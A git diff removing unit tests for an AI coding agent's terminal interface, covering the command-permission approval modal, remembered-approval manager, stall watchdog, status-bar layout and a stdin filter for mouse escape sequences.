- { id: "exact", label: "Always allow this exact command", pattern: "bun run typecheck" }, - ], - }; - let outcome: ApprovalOutcome | null = null; - const { lastFrame, stdin } = render( { outcome = o; }} />); - await tick(); - // The broad scope is now visible - expect(lastFrame() ?? "").toContain("bun run *"); - // Option 4 is "Allow bun run * · persisted per repo" - stdin.write("4"); - await tick(); - expect(outcome).toMatchObject({ allow: true, persist: { grant: "project", pattern: "bun run *" } }); -}); - -test("footer reflects the real option count and offers Ctrl+O to expand when body is collapsible", () => { - const expandable: PermissionRequest = { - tool: "run_shell", - action: "Run shell command", - subject: "git commit -F - <<'EOF'\nfix: something\n\nlonger body line\nEOF", - scopes: [ - { id: "prefix-1", label: "Always allow git commit *", pattern: "git commit *" }, - { - id: "exact", - label: "Always allow this exact command", - pattern: "git commit -F - <<'EOF'\nfix: something\n\nlonger body line\nEOF", - }, - ], - }; - const { lastFrame } = render( {}} />); - const frame = lastFrame() ?? ""; - // 2 fixed + 3 broad (session/project/global) = 5 options when a prefix scope exists - expect(frame).toContain("1-5 select"); - expect(frame).toContain("Ctrl+O expand"); -}); - -test("footer omits Ctrl+O expand when the body has nothing to expand", () => { - const { lastFrame } = render( {}} />); - const frame = lastFrame() ?? ""; - expect(frame).toContain("1-5 select"); - expect(frame).not.toContain("Ctrl+O"); -}); - -test("PermissionModal shows web tool argument details", () => { - const webRequest: PermissionRequest = { - tool: "web_search", - action: "Run web_search", - subject: "web_search", - arguments: { query: "hono.dev web framework" }, - scopes: [{ id: "tool", label: "Always allow web_search", pattern: "web_search" }], - }; - - const { lastFrame } = render( {}} />); - const frame = lastFrame() ?? ""; - - expect(frame).toContain("Web Search"); - expect(frame).toContain("query: hono.dev web framework"); - expect(frame).not.toContain("Run web_search: web_search"); -}); - -test("Enter defaults to reject (the first, safe option)", async () => { - let outcome: ApprovalOutcome | null = null; - const { stdin } = render( { outcome = o; }} />); - await tick(); - stdin.write("\r"); - await tick(); - expect(outcome).toEqual({ allow: false }); -}); - -test("Ctrl+Up leaves the safe rejection selected for transcript scrolling", async () => { - let outcome: ApprovalOutcome | null = null; - const { stdin } = render( { outcome = next; }} />); - await tick(); - stdin.write("\x1B[1;5A"); - await tick(); - stdin.write("\r"); - await tick(); - expect(outcome).toEqual({ allow: false }); -}); - -test("'2' accepts once without persisting", async () => { - let outcome: ApprovalOutcome | null = null; - const { stdin } = render( { outcome = o; }} />); - await tick(); - stdin.write("2"); - await tick(); - expect(outcome).toEqual({ allow: true }); -}); - -test("option 3 saves the broad prefix scope for session", async () => { - let outcome: ApprovalOutcome | null = null; - const { stdin } = render( { outcome = o; }} />); - await tick(); - stdin.write("3"); - await tick(); - // Option 3 is "Allow npm * · this session" - expect(outcome).toMatchObject({ allow: true, persist: { grant: "session", pattern: "npm *" } }); -}); - -test("option 5 saves the broad prefix scope globally", async () => { - let outcome: ApprovalOutcome | null = null; - const { stdin } = render( { outcome = o; }} />); - await tick(); - stdin.write("5"); - await tick(); - // Option 5 is "Allow npm * · all projects" - expect(outcome).toMatchObject({ allow: true, persist: { grant: "global", pattern: "npm *" } }); -}); - -test("Escape rejects", async () => { - let outcome: ApprovalOutcome | null = null; - const { stdin } = render( { outcome = o; }} />); - await tick(); - stdin.write(""); - await tick(); - expect(outcome).toEqual({ allow: false }); -}); - -test("a heredoc payload collapses to a line-count placeholder, not a second raw dump", () => { - const command = - "git add -A && git commit -F - <<'EOF'\nfix: something\n\nlonger body line\nEOF\n && git status && git log -1"; - const req: PermissionRequest = { - tool: "run_shell", - action: "Run shell command", - subject: command, - scopes: [{ id: "exact", label: "x", pattern: command }], - }; - const { lastFrame } = render( {}} />); - const frame = lastFrame() ?? ""; - // The command renders once — as the segment list — with the heredoc body - // collapsed to a placeholder, not repeated a second time inline. - expect(frame).toContain("1. git add -A"); - expect(frame).toContain("2. git commit -F - <<'EOF' "); - expect(frame).toContain("3. git status"); - expect(frame).toContain("4. git log -1"); - expect(frame).not.toContain("longer body line"); - expect(frame).not.toContain("fix: something"); - // The scope options lead with the scope and name the grant subject once — - // never a duplicated ellipsized command mash. - expect(frame).toContain("Allow these 4 git commands — this session"); - expect(frame).toContain("Allow these 4 git commands — persisted per repo"); - expect(frame).toContain("Allow these 4 git commands — all projects"); -}); - -test("Ctrl+O reveals a collapsed heredoc payload's full text", async () => { - const command = "git commit -F - <<'EOF'\nfix: something\n\nlonger body line\nEOF"; - const req: PermissionRequest = { - tool: "run_shell", - action: "Run shell command", - subject: command, - scopes: [{ id: "exact", label: "x", pattern: command }], - }; - const { lastFrame, stdin } = render( {}} />); - await tick(); - expect(lastFrame() ?? "").not.toContain("longer body line"); - stdin.write("\x0F"); // Ctrl+O - await tick(); - const frame = lastFrame() ?? ""; - expect(frame).toContain("fix: something"); - expect(frame).toContain("longer body line"); -}); - -test("a multi-line quoted commit message collapses to ", () => { - const command = 'git commit -m "line one\nline two\nline three"'; - const req: PermissionRequest = { - tool: "run_shell", - action: "Run shell command", - subject: command, - scopes: [{ id: "exact", label: "x", pattern: command }], - }; - const { lastFrame } = render( {}} />); - const frame = lastFrame() ?? ""; - expect(frame).toContain("git commit -m "); - expect(frame).not.toContain("line two"); -}); - -test("a body taller than the terminal keeps the choices visible and pages with PageUp/PageDown", async () => { - const chain = Array.from({ length: 40 }, (_, i) => `echo line${i}`).join(" && "); - const req: PermissionRequest = { - tool: "run_shell", - action: "Run shell command", - subject: chain, - scopes: [{ id: "exact", label: "x", pattern: chain }], - }; - const { lastFrame, stdin } = render( - {}} terminalRows={20} />, - ); - await tick(); - const initial = lastFrame() ?? ""; - // The selection and every choice stay visible even though the body is - // nowhere near tall enough to fit all 40 segments. - expect(initial).toContain("Reject"); - expect(initial).toContain("Accept once"); - expect(initial).toContain("Allow these 40 echo commands — all projects"); - expect(initial).toContain("1. echo line0"); - expect(initial).not.toContain("echo line39"); - expect(initial).toMatch(/↓ \d+ more below/); - - stdin.write("\x1B[6~"); // PageDown - await tick(); - const afterPageDown = lastFrame() ?? ""; - expect(afterPageDown).not.toContain("1. echo line0"); - expect(afterPageDown).toMatch(/↑ \d+ more above/); - // Choices remain reachable after paging the body. - expect(afterPageDown).toContain("Reject"); - expect(afterPageDown).toContain("Allow these 40 echo commands — all projects"); - - stdin.write("\x1B[5~"); // PageUp back to the top - await tick(); - const afterPageUp = lastFrame() ?? ""; - expect(afterPageUp).toContain("1. echo line0"); -}); - -test("a short prompt has no scroll indicator or forced scroll affordance", () => { - const { lastFrame } = render( - {}} terminalRows={24} />, - ); - const frame = lastFrame() ?? ""; - expect(frame).not.toContain("PageUp/PageDown to scroll"); - expect(frame).not.toMatch(/more below/); - expect(frame).not.toMatch(/more above/); -}); diff --git a/tests/unit/tui/permissions-manager.test.tsx b/tests/unit/tui/permissions-manager.test.tsx deleted file mode 100644 index 008fd1036..000000000 --- a/tests/unit/tui/permissions-manager.test.tsx +++ /dev/null @@ -1,67 +0,0 @@ -import { test, expect } from "bun:test"; -import { render } from "ink-testing-library"; -import { PermissionsManager } from "../../../src/tui/components/permissions-manager.js"; -import type { ScopedApproval } from "../../../src/permission/admin.js"; - -const entries: ScopedApproval[] = [ - { scope: "session", tool: "run_shell", pattern: "curl *" }, - { scope: "project", tool: "write_file", pattern: "src/*" }, - { scope: "provider-model", tool: "run_shell", pattern: "npm *", providerModel: "openai:gpt-5" }, -]; - -const tick = () => new Promise((resolve) => setTimeout(resolve, 20)); - -test("groups remembered approvals by scope", () => { - const { lastFrame } = render( - {}} onClose={() => {}} />, - ); - const frame = lastFrame() ?? ""; - expect(frame).toContain("Permissions"); - expect(frame).toContain("This session"); - expect(frame).toContain("This project"); - expect(frame).toContain("Provider / model"); - expect(frame).toContain("curl *"); - expect(frame).toContain("openai:gpt-5"); -}); - -test("shows an empty state when there are no approvals", () => { - const { lastFrame } = render( - {}} onClose={() => {}} />, - ); - expect(lastFrame() ?? "").toContain("No remembered approvals"); -}); - -test("'d' revokes the selected entry", async () => { - let revoked: ScopedApproval | null = null; - const { stdin } = render( - { revoked = e; }} onClose={() => {}} />, - ); - await tick(); - stdin.write("d"); - await tick(); - expect(revoked).toEqual(entries[0]); -}); - -test("arrowing down then revoking targets the next entry", async () => { - let revoked: ScopedApproval | null = null; - const { stdin } = render( - { revoked = e; }} onClose={() => {}} />, - ); - await tick(); - stdin.write(""); - await tick(); - stdin.write("d"); - await tick(); - expect(revoked).toEqual(entries[1]); -}); - -test("Escape closes", async () => { - let closed = false; - const { stdin } = render( - {}} onClose={() => { closed = true; }} />, - ); - await tick(); - stdin.write(""); - await tick(); - expect(closed).toBe(true); -}); diff --git a/tests/unit/tui/prompt-layout.test.ts b/tests/unit/tui/prompt-layout.test.ts deleted file mode 100644 index c30124d3a..000000000 --- a/tests/unit/tui/prompt-layout.test.ts +++ /dev/null @@ -1,27 +0,0 @@ -import { expect, test } from "bun:test"; -import { - extraPromptChromeRows, - promptContentWidth, - promptInnerRowCount, -} from "../../../src/tui/prompt-layout.js"; - -test("promptContentWidth subtracts box chrome from columns", () => { - expect(promptContentWidth(40)).toBe(32); -}); - -test("extraPromptChromeRows is zero for a single short line", () => { - expect(extraPromptChromeRows("hello", 80, 24)).toBe(0); -}); - -test("extraPromptChromeRows grows with wrapped and multiline input", () => { - const width = promptContentWidth(40); - const long = "x".repeat(width + 10); - expect(extraPromptChromeRows(long, 40, 24)).toBeGreaterThan(0); - expect(extraPromptChromeRows("line one\nline two", 80, 24)).toBe(1); -}); - -test("promptInnerRowCount caps at 40% of terminal height", () => { - const many = Array.from({ length: 50 }, (_, i) => `line ${i}`).join("\n"); - const inner = promptInnerRowCount(many, 80, 20); - expect(inner).toBeLessThanOrEqual(Math.max(3, Math.floor(20 * 0.4)) + 2); -}); \ No newline at end of file diff --git a/tests/unit/tui/stall-watchdog.test.ts b/tests/unit/tui/stall-watchdog.test.ts deleted file mode 100644 index be69398a6..000000000 --- a/tests/unit/tui/stall-watchdog.test.ts +++ /dev/null @@ -1,115 +0,0 @@ -import { test, expect } from "bun:test"; -import { applyStallRecovery, shouldAbortForStall } from "../../../src/tui/stall-watchdog.js"; -import { INFERENCE_ABORT_INTERNAL_RECOVERY } from "../../../src/inference-abort.js"; - -const base = { - status: "running" as const, - lastActivityAt: 0, - nowMs: 130_000, - stallTimeoutMs: 120_000, - isProcessing: true, - streamingType: null as "text" | "thinking" | "tool" | null, -}; - -test("shouldAbortForStall: fires when running, awaiting, and stalled beyond timeout", () => { - expect(shouldAbortForStall({ - ...base, - awaitingResponse: true, - })).toBe(true); -}); - -test("shouldAbortForStall: does not fire when activity is recent", () => { - expect(shouldAbortForStall({ - ...base, - awaitingResponse: true, - lastActivityAt: 120_000, - })).toBe(false); -}); - -test("shouldAbortForStall: does not fire when not awaiting and not mid-stream", () => { - expect(shouldAbortForStall({ - ...base, - awaitingResponse: false, - isProcessing: false, - streamingType: null, - })).toBe(false); -}); - -test("shouldAbortForStall: fires on mid-thinking silence beyond timeout", () => { - expect(shouldAbortForStall({ - ...base, - awaitingResponse: false, - isProcessing: true, - streamingType: "thinking", - })).toBe(true); -}); - -test("shouldAbortForStall: does not fire on long tool execution without parent stream events", () => { - expect(shouldAbortForStall({ - ...base, - awaitingResponse: false, - isProcessing: true, - streamingType: "tool", - })).toBe(false); -}); - -test("shouldAbortForStall: mid-stream with recent tokens does not fire", () => { - expect(shouldAbortForStall({ - ...base, - awaitingResponse: false, - isProcessing: true, - streamingType: "thinking", - lastActivityAt: 120_000, - })).toBe(false); -}); - -test("shouldAbortForStall: does not fire when status is not running", () => { - expect(shouldAbortForStall({ - ...base, - status: "done", - awaitingResponse: true, - })).toBe(false); -}); - -test("shouldAbortForStall: does not fire when status is stopping", () => { - expect(shouldAbortForStall({ - ...base, - status: "stopping", - awaitingResponse: true, - })).toBe(false); -}); - -test("shouldAbortForStall: recent activity prevents abort (simulating a token arriving)", () => { - expect(shouldAbortForStall({ - ...base, - awaitingResponse: true, - lastActivityAt: 119_999, - nowMs: 120_000, - })).toBe(false); -}); - -test("shouldAbortForStall: boundary — exactly at timeout fires", () => { - expect(shouldAbortForStall({ - ...base, - awaitingResponse: true, - nowMs: 120_000, - lastActivityAt: 0, - })).toBe(true); -}); - -test("applyStallRecovery aborts in-flight send with internal-recovery reason", () => { - let aborted: string | undefined; - let commandMessage = ""; - - applyStallRecovery({ - abortInFlight: (reason) => { - aborted = reason; - }, - setCommandMessage: (message) => { - commandMessage = message; - }, - }); - - expect(aborted).toBe(INFERENCE_ABORT_INTERNAL_RECOVERY); - expect(commandMessage).toBe("Recovering after an internal stall..."); -}); \ No newline at end of file diff --git a/tests/unit/tui/status-bar.test.tsx b/tests/unit/tui/status-bar.test.tsx deleted file mode 100644 index 78d9f37ea..000000000 --- a/tests/unit/tui/status-bar.test.tsx +++ /dev/null @@ -1,290 +0,0 @@ -import { test, expect } from "bun:test"; -import { render } from "ink-testing-library"; -import { homedir } from "node:os"; -import { - StatusBar, - contextMeterTone, - planStatusBarLayout, - truncateMiddle, -} from "../../../src/tui/components/status-bar.js"; -import { - COMPACTION_WINDOW_FRACTION, - CONTEXT_METER_DANGER_FRACTION, -} from "../../../src/provider/context-window.js"; - -function renderBar( - props: { - completedAgentsLabel?: string; - mcpCount?: number; - costLabel?: string; - contextLabel?: string; - contextPercentUsed?: number | null; - model?: string; - cwd?: string; - gitBranch?: string | null; - columns?: number; - } = {}, -) { - return render( - , - ); -} - -test("StatusBar renders the product name on the left", () => { - const { lastFrame } = renderBar(); - const frame = lastFrame() ?? ""; - expect(frame).toContain("Corbits Code"); - // Brand is the first non-whitespace content — left-aligned. - expect(frame.trimStart().startsWith("Corbits Code")).toBe(true); -}); - -test("StatusBar shows completed sub-agent durations beside the brand", () => { - const { lastFrame } = renderBar({ completedAgentsLabel: "agents 1m 5s" }); - expect(lastFrame()).toContain("agents 1m 5s"); -}); - -test("StatusBar hides agent timing when none have completed", () => { - const { lastFrame } = renderBar(); - expect(lastFrame()).not.toContain("agents "); -}); - -test("StatusBar shows MCP health on the right when servers are connected", () => { - const { lastFrame } = renderBar({ mcpCount: 3 }); - const frame = lastFrame() ?? ""; - expect(frame).toContain("MCP ✓ 3"); - expect(frame.indexOf("Corbits Code")).toBeLessThan(frame.indexOf("MCP")); -}); - -test("StatusBar hides MCP when none are connected", () => { - const { lastFrame } = renderBar({ mcpCount: 0 }); - expect(lastFrame()).not.toContain("MCP"); -}); - -test("StatusBar does not render token counts or cost", () => { - const { lastFrame } = renderBar(); - const frame = lastFrame() ?? ""; - expect(frame).not.toContain("↑"); - expect(frame).not.toContain("↓"); - expect(frame).not.toContain("$"); -}); - -test("StatusBar shows model, cwd, and git branch persistently", () => { - const { lastFrame } = renderBar({ model: "claude-sonnet-5", cwd: "/tmp/project", gitBranch: "main" }); - const frame = lastFrame() ?? ""; - expect(frame).toContain("claude-sonnet-5"); - expect(frame).toContain("/tmp/project"); - expect(frame).toContain("main"); -}); - -test("StatusBar abbreviates the home directory in cwd", () => { - const home = homedir(); - const { lastFrame } = renderBar({ cwd: `${home}/abklabs/interchange-code` }); - const frame = lastFrame() ?? ""; - expect(frame).toContain("~/abklabs/interchange-code"); - expect(frame).not.toContain(home); -}); - -test("StatusBar omits model/cwd/branch segment when none are provided", () => { - const { lastFrame } = renderBar(); - const frame = lastFrame() ?? ""; - expect(frame).not.toContain("·"); -}); - -test("StatusBar preserves cost and context segments alongside the new segments", () => { - const { lastFrame } = renderBar({ - costLabel: "$0.42", - contextLabel: "Ctx 12%", - model: "gpt-5", - cwd: "/repo", - gitBranch: "feature", - }); - const frame = lastFrame() ?? ""; - expect(frame).toContain("$0.42"); - expect(frame).toContain("Ctx 12%"); - expect(frame).toContain("gpt-5"); - expect(frame).toContain("/repo"); - expect(frame).toContain("feature"); -}); - -test("StatusBar drops cost/context and truncates cwd when the terminal is narrow", () => { - const { lastFrame } = renderBar({ - costLabel: "$0.42", - contextLabel: "Ctx 12%", - model: "gpt-5", - cwd: "/very/long/path/that/does/not/fit/on/a/narrow/terminal", - gitBranch: "feature", - columns: 40, - }); - const frame = lastFrame() ?? ""; - expect(frame).toContain("Corbits Code"); - expect(frame).not.toContain("$0.42"); - expect(frame).not.toContain("Ctx 12%"); -}); - -test("StatusBar renders a middle-truncated cwd while keeping model and branch intact", () => { - const { lastFrame } = renderBar({ - model: "gpt-5", - cwd: "/very/long/path/that/does/not/fit/on/a/narrow/terminal", - gitBranch: "feature", - columns: 48, - }); - const frame = lastFrame() ?? ""; - expect(frame).toContain("gpt-5"); - expect(frame).toContain("feature"); - expect(frame).toContain("…"); - expect(frame).not.toContain("/very/long/path/that/does/not/fit/on/a/narrow/terminal"); - // Truncation eats the middle of the path, preserving both ends. - expect(frame).toContain("/very"); - expect(frame).toContain("minal"); -}); - -test("truncateMiddle keeps the head and tail around an ellipsis", () => { - expect(truncateMiddle("abcdefghij", 7)).toBe("abc…hij"); - expect(truncateMiddle("short", 10)).toBe("short"); - expect(truncateMiddle("abc", 1)).toBe("a"); -}); - -test("planStatusBarLayout keeps everything when it fits", () => { - const layout = planStatusBarLayout({ - columns: 120, - agentsText: "agents 5s", - mcpText: "MCP ✓ 2", - model: "gpt-5", - cwd: "~/repo", - gitBranch: "main", - costLabel: "$0.42", - contextLabel: "Ctx 12%", - }); - expect(layout).toEqual({ - modelCwdBranchText: "gpt-5 · ~/repo · main", - showCost: true, - showContext: true, - showSubscription: false, - }); -}); - -test("planStatusBarLayout counts padding and per-child gaps in the budget", () => { - // brand(12) + agents(2) = 14 text columns; children are brand, agents, and the - // flex spacer, so 2 gaps; plus 2 padding columns = 18 total. - const fits = planStatusBarLayout({ columns: 18, agentsText: "5s", contextLabel: "Ctx" }); - const overflows = planStatusBarLayout({ columns: 17, agentsText: "5s", contextLabel: "Ctx" }); - expect(fits.showContext).toBe(false); - // "Ctx"(3) + its gap(1) pushes the fitting width to 22. - expect(planStatusBarLayout({ columns: 22, agentsText: "5s", contextLabel: "Ctx" }).showContext).toBe(true); - expect(overflows.showContext).toBe(false); -}); - -test("planStatusBarLayout drops context before cost before the model segment", () => { - const base = { - agentsText: "5s", - model: "gpt-5", - cwd: "~/some/project/path", - gitBranch: "main", - costLabel: "$0.42", - contextLabel: "Ctx 12%", - }; - const wide = planStatusBarLayout({ ...base, columns: 80 }); - expect(wide.showContext).toBe(true); - - const narrower = planStatusBarLayout({ ...base, columns: 59 }); - expect(narrower.showContext).toBe(false); - expect(narrower.showCost).toBe(true); - - const narrowest = planStatusBarLayout({ ...base, columns: 51 }); - expect(narrowest.showCost).toBe(false); - expect(narrowest.modelCwdBranchText).toBeDefined(); -}); - -test("planStatusBarLayout truncates only the cwd, never model or branch", () => { - const layout = planStatusBarLayout({ - columns: 60, - agentsText: "5s", - model: "gpt-5", - cwd: "~/a/very/deeply/nested/project/directory", - gitBranch: "feature-branch", - }); - const segment = layout.modelCwdBranchText ?? ""; - expect(segment.startsWith("gpt-5 · ")).toBe(true); - expect(segment.endsWith(" · feature-branch")).toBe(true); - expect(segment).toContain("…"); -}); - -test("planStatusBarLayout drops the model segment when cwd cannot absorb the overflow", () => { - const layout = planStatusBarLayout({ - columns: 20, - agentsText: "5s", - model: "gpt-5-with-long-name", - cwd: "/x", - gitBranch: "main", - }); - expect(layout.modelCwdBranchText).toBeUndefined(); -}); - -test("formatCompletedAgentsLabel sums finished sub-agent durations", async () => { - const { formatCompletedAgentsLabel } = await import("../../../src/tui/components/status-bar.js"); - expect( - formatCompletedAgentsLabel([ - { status: "done", startedAt: 0, finishedAt: 65_000 }, - { status: "running", startedAt: 0 }, - { status: "failed", startedAt: 0, finishedAt: 5_000 }, - ]), - ).toBe("agents 1m 10s"); - expect(formatCompletedAgentsLabel([{ status: "running", startedAt: 0 }])).toBeUndefined(); -}); - -test("contextMeterTone stays normal below the compaction threshold", () => { - const warningAt = Math.round(COMPACTION_WINDOW_FRACTION * 100); - expect(contextMeterTone(0)).toBe("normal"); - expect(contextMeterTone(warningAt - 1)).toBe("normal"); - expect(contextMeterTone(null)).toBe("normal"); - expect(contextMeterTone(undefined)).toBe("normal"); -}); - -test("contextMeterTone turns warning at the compaction threshold", () => { - const warningAt = Math.round(COMPACTION_WINDOW_FRACTION * 100); - const dangerAt = Math.round(CONTEXT_METER_DANGER_FRACTION * 100); - expect(contextMeterTone(warningAt)).toBe("warning"); - expect(contextMeterTone(dangerAt - 1)).toBe("warning"); -}); - -test("contextMeterTone turns danger near overflow", () => { - const dangerAt = Math.round(CONTEXT_METER_DANGER_FRACTION * 100); - expect(contextMeterTone(dangerAt)).toBe("danger"); - expect(contextMeterTone(100)).toBe("danger"); -}); - -test("StatusBar still drops the context meter first under width pressure", () => { - // Same priority order as planStatusBarLayout: context before cost before model. - const { lastFrame } = renderBar({ - costLabel: "$0.42", - contextLabel: "Ctx 62%", - contextPercentUsed: 62, - model: "gpt-5", - cwd: "~/some/project/path", - gitBranch: "main", - columns: 59, - }); - const frame = lastFrame() ?? ""; - expect(frame).not.toContain("Ctx 62%"); - expect(frame).toContain("$0.42"); - expect(frame).toContain("gpt-5"); -}); - -test("StatusBar renders the context meter when width allows", () => { - const { lastFrame } = renderBar({ - contextLabel: "Ctx 45%", - contextPercentUsed: 45, - columns: 80, - }); - expect(lastFrame()).toContain("Ctx 45%"); -}); diff --git a/tests/unit/tui/stdin-filter.test.ts b/tests/unit/tui/stdin-filter.test.ts deleted file mode 100644 index ce7729d4f..000000000 --- a/tests/unit/tui/stdin-filter.test.ts +++ /dev/null @@ -1,184 +0,0 @@ -import { EventEmitter } from "node:events"; -import { test, expect } from "bun:test"; -import { createFilteredStdin } from "../../../src/tui/stdin-filter.js"; - -// A minimal stand-in for the TTY stream: read() drains a queue of chunks, and -// the filter proxies every other property straight through. -function fakeStdin(chunks: string[]): NodeJS.ReadStream { - const queue = [...chunks]; - return { - isTTY: true, - read: () => (queue.length > 0 ? queue.shift()! : null), - } as unknown as NodeJS.ReadStream; -} - -function fakeEventStdin(): NodeJS.ReadStream & EventEmitter { - const stream = new EventEmitter() as NodeJS.ReadStream & EventEmitter; - stream.isTTY = true; - stream.read = () => null; - return stream; -} - -test("strips SGR mouse sequences before Ink sees them", () => { - const { stdin } = createFilteredStdin(fakeStdin(["\x1b[<0;39;38M"])); - expect(stdin.read()).toBe(""); -}); - -test("keeps surrounding text but removes embedded mouse sequences", () => { - const { stdin } = createFilteredStdin(fakeStdin(["a\x1b[<0;39;38Mb\x1b[<0;39;38mc"])); - expect(stdin.read()).toBe("abc"); -}); - -test("passes ordinary input through untouched", () => { - const { stdin } = createFilteredStdin(fakeStdin(["hello"])); - expect(stdin.read()).toBe("hello"); -}); - -test("emits scroll events for wheel buttons", () => { - const { stdin, mouse } = createFilteredStdin( - fakeStdin(["\x1b[<64;1;1M", "\x1b[<65;1;1M"]), - ); - const events: string[] = []; - mouse.on("scrollUp", () => events.push("up")); - mouse.on("scrollDown", () => events.push("down")); - stdin.read(); - stdin.read(); - expect(events).toEqual(["up", "down"]); -}); - -test("does not emit scroll for non-wheel button clicks", () => { - const { stdin, mouse } = createFilteredStdin(fakeStdin(["\x1b[<0;39;38M"])); - let emitted = false; - mouse.on("scrollUp", () => { emitted = true; }); - mouse.on("scrollDown", () => { emitted = true; }); - stdin.read(); - expect(emitted).toBe(false); -}); - -test("proxies non-read properties to the source stream", () => { - const { stdin } = createFilteredStdin(fakeStdin([])); - expect(stdin.isTTY).toBe(true); -}); - -test("returns null when the source is drained", () => { - const { stdin } = createFilteredStdin(fakeStdin([])); - expect(stdin.read()).toBeNull(); -}); - -test("strips a mouse sequence split across two reads", () => { - const { stdin, mouse } = createFilteredStdin(fakeStdin(["a\x1b[<64", ";1;1Mb"])); - const events: string[] = []; - mouse.on("scrollUp", () => events.push("up")); - // The first read holds back the incomplete trailing `[<64`, so nothing leaks. - expect(stdin.read()).toBe("a"); - // The second read completes it: the sequence is stripped and scroll emitted. - expect(stdin.read()).toBe("b"); - expect(events).toEqual(["up"]); -}); - -test("does not buffer a bare trailing ESC (would swallow an Esc keypress)", () => { - const { stdin } = createFilteredStdin(fakeStdin(["\x1b"])); - expect(stdin.read()).toBe("\x1b"); -}); - -test("strips via the read(size) overload", () => { - const { stdin } = createFilteredStdin(fakeStdin(["x\x1b[<0;1;1My"])); - expect(stdin.read(1024)).toBe("xy"); -}); - -test("emits scroll for release (m) sequences too", () => { - const { stdin, mouse } = createFilteredStdin(fakeStdin(["\x1b[<65;1;1m"])); - const events: string[] = []; - mouse.on("scrollDown", () => events.push("down")); - expect(stdin.read()).toBe(""); - expect(events).toEqual(["down"]); -}); - -test("no mouse bytes survive Ink's read loop", () => { - const { stdin } = createFilteredStdin( - fakeStdin(["type \x1b[<0;5;5M", "\x1b[<64;5;5Mmore"]), - ); - // Mirror Ink's drain: `while ((chunk = stdin.read()) !== null)`. - let drained = ""; - for (let chunk = stdin.read(); chunk !== null; chunk = stdin.read()) { - drained += chunk; - } - expect(drained).toBe("type more"); - expect(drained).not.toContain("[<"); -}); - -// Regression: when a mouse sequence's leading ESC lands in one read (consumed -// by Ink's escape parser) and the body `[<65;18;49m` lands in the next read -// alone, the fragment must still be stripped rather than leaking as literal -// text into the prompt. -test("strips an orphaned mouse fragment whose ESC arrived in a prior read", () => { - const { stdin, mouse } = createFilteredStdin(fakeStdin(["\x1b", "[<65;18;49m"])); - const events: string[] = []; - mouse.on("scrollDown", () => events.push("down")); - // ESC passes through (it may be a real Esc keypress). - expect(stdin.read()).toBe("\x1b"); - // The orphaned fragment is stripped, not echoed. - expect(stdin.read()).toBe(""); - expect(events).toEqual(["down"]); -}); - -// Regression: a wheel event whose ESC was consumed by Ink and whose body then -// splits across two reads (`[<64;64` then `;58M`) must be buffered and stripped, -// not leaked as literal `[<64;64;58M` into the prompt. -test("buffers an ESC-less mouse fragment split across two reads", () => { - const { stdin, mouse } = createFilteredStdin(fakeStdin(["a[<64;64", ";58M"])); - const events: string[] = []; - mouse.on("scrollUp", () => events.push("up")); - expect(stdin.read()).toBe("a"); - expect(stdin.read()).toBe(""); - expect(events).toEqual(["up"]); -}); - -test("does not double-count a scroll when the full sequence is intact", () => { - const { stdin, mouse } = createFilteredStdin(fakeStdin(["\x1b[<65;1;1m"])); - const events: string[] = []; - mouse.on("scrollDown", () => events.push("down")); - stdin.read(); - expect(events).toEqual(["down"]); -}); - -test("strips mouse sequences from data events", () => { - const source = fakeEventStdin(); - const { stdin, mouse } = createFilteredStdin(source); - const chunks: string[] = []; - const events: string[] = []; - - stdin.on("data", (chunk) => chunks.push(String(chunk))); - mouse.on("scrollDown", () => events.push("down")); - source.emit("data", "hello[<67;88;45M\x1b[<65;1;1Mworld"); - - expect(chunks).toEqual(["helloworld"]); - expect(events).toEqual(["down"]); -}); - -test("buffers split mouse fragments from data events", () => { - const source = fakeEventStdin(); - const { stdin, mouse } = createFilteredStdin(source); - const chunks: string[] = []; - const events: string[] = []; - - stdin.on("data", (chunk) => chunks.push(String(chunk))); - mouse.on("scrollUp", () => events.push("up")); - source.emit("data", "type [<64;88"); - source.emit("data", ";45M more"); - - expect(chunks).toEqual(["type ", " more"]); - expect(events).toEqual(["up"]); -}); - -test("once data listeners ignore empty mouse-only chunks", () => { - const source = fakeEventStdin(); - const { stdin } = createFilteredStdin(source); - const chunks: string[] = []; - - stdin.once("data", (chunk) => chunks.push(String(chunk))); - source.emit("data", "[<67;88;45M"); - source.emit("data", "typed"); - - expect(chunks).toEqual(["typed"]); -}); diff --git a/tests/unit/tui/styled-segment-props.test.ts b/tests/unit/tui/styled-segment-props.test.ts deleted file mode 100644 index aac2b3a0f..000000000 --- a/tests/unit/tui/styled-segment-props.test.ts +++ /dev/null @@ -1,18 +0,0 @@ -import { test, expect } from "bun:test"; -import { inkPropsForSegment } from "../../../src/tui/styled-segment-props.js"; -import { color } from "../../../src/tui/theme.js"; - -test("maps markdown flags to semantic theme roles", () => { - expect(inkPropsForSegment({ text: "h", heading: 2 }).color).toBe(color("markdownHeading")); - expect(inkPropsForSegment({ text: "l", link: true }).color).toBe(color("markdownLink")); - expect(inkPropsForSegment({ text: "l", link: true }).underline).toBe(true); - expect(inkPropsForSegment({ text: "c", code: true }).color).toBe(color("markdownCode")); - expect(inkPropsForSegment({ text: "b", bold: true }).color).toBe(color("markdownStrong")); - expect(inkPropsForSegment({ text: "i", italic: true }).color).toBe(color("markdownEmphasis")); - expect(inkPropsForSegment({ text: "q", blockquote: true }).color).toBe(color("markdownBlockquote")); -}); - -test("explicit segment color overrides flag-derived markdown colours", () => { - const syntax = color("syntaxKeyword"); - expect(inkPropsForSegment({ text: "kw", code: true, color: syntax }).color).toBe(syntax); -}); \ No newline at end of file diff --git a/tests/unit/tui/subagent-session-view.test.ts b/tests/unit/tui/subagent-session-view.test.ts deleted file mode 100644 index b49662f3f..000000000 --- a/tests/unit/tui/subagent-session-view.test.ts +++ /dev/null @@ -1,29 +0,0 @@ -import { describe, expect, test } from "bun:test"; - -import { subAgentScrollWindow } from "../../../src/tui/components/subagent-session-view.js"; - -describe("subAgentScrollWindow", () => { - test("pins to the newest rows at max offset", () => { - // 10 lines, viewport 4 (visibleRows 7 minus the 3 header rows). - const { start, viewport, maxOffset } = subAgentScrollWindow(10, 7, 6); - expect(viewport).toBe(4); - expect(maxOffset).toBe(6); - expect(start).toBe(6); - }); - - test("an earlier offset scrolls back through the transcript", () => { - const { start } = subAgentScrollWindow(10, 7, 2); - expect(start).toBe(2); - }); - - test("clamps a negative or overshooting offset into range", () => { - expect(subAgentScrollWindow(10, 7, -5).start).toBe(0); - expect(subAgentScrollWindow(10, 7, 999).start).toBe(6); - }); - - test("a transcript shorter than the viewport has no scroll room", () => { - const { start, maxOffset } = subAgentScrollWindow(2, 7, 